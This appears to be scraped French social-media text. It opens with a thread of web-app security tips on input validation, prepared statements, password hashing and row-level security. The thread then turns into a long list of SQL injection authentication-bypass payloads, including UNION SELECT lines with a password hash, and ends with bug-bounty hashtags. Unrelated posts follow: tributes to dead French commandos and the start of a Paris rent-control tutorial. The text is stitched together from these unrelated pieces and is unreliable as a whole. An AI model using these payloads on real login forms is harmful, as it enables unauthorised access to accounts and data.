🔒 Le "petit" guide pour sécuriser sa web app 🔒
Comme demandé, j'ai créé un guide avec les essentiels pour coder sécurisé et protéger ses users.
Tout y est !
Bonnes pratiques, protections avancées., tools, astuces, ...
T'as de quoi noter ? Let's go ! 👇
1️⃣ La base de données
Qui dit web app dit probablement BDD, ça fait partie des points sensibles de ton code alors il ne faut pas la négliger.
Voici tout ce que tu dois faire pour être tranquille :
✅Validation des inputs :
Toujours valider côté serveur ET côté client (le client, c'est pour l'UX, pas la sécurité).
Pas de données "fiables" venant de l'utilisateur.
Valider c'est contrôler le type, la taille, le contenu, ...
On veut s'assurer que l'utilisateur ne cherche pas à injecter du SQL et à accéder ou compromettre les datas.
♻️Prepared Statements :
Pour éviter l’injection SQL tu dois séparer tes données des commandes SQL.
Sans ça, un attaquant peut manipuler ta base.
Les ORM modernes (ex : Sequelize, TypeORM) les utilisent par défaut, mais vérifie toujours, surtout si tu manipule ta BDD sans ORM.
🔐Hash des mots de passe :
Utilise un algorithme moderne (Argon2, bcrypt) avec un salt unique pour chaque user.
Les mots de passe en clair dans la BDD, c'est NON !
🛑Row Level Security (RLS) :
Active cette fonctionnalité (dispo dans PostgreSQL) pour gérer les droits directement dans la base.
Sans RLS, un bug côté app peut exposer toutes les données.
Tu peux segmenter par rôle (super admin, admin, user) ou par utilisateur directement.
Mais tu dois t'assurer qu'un user ou groupe d'users ne peuvent pas accéder à des données auxquelles ils n'ont pas droit.
🔰 Authentication Bypass - Payloads
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp
Garry, ancien Commando marine, a mis fin à ses jours à la suite d'un Trouble de stress post-traumatique.
Ce militaire des forces spéciales françaises est un héros à la carrière exceptionnelle.
Une nouvelle passée totalement inaperçue.
Ne jamais oublier. 🖤
A la demande de sa compagne Léa, faites voyager le sourire d'Alain Bertoncello du Commando Hubert, décédé au combat après avoir libéré deux otages français.
J'espère que la France n'oubliera jamais ce qu'il a fait. Il a donné sa vie pour la France.
Ne jamais oublier. 🖤
🔴[TUTO] : Comment économiser légalement PLUSIEURS CENTAINES D'EUROS sur son loyer chaque mois à Paris.
Il suffit de faire respecter ✨l'encadrement des loyers✨ à son propriétaire.
Petit tuto en thread pour vous montrer comment faire. Pour l'exemple on va prendre cet appart.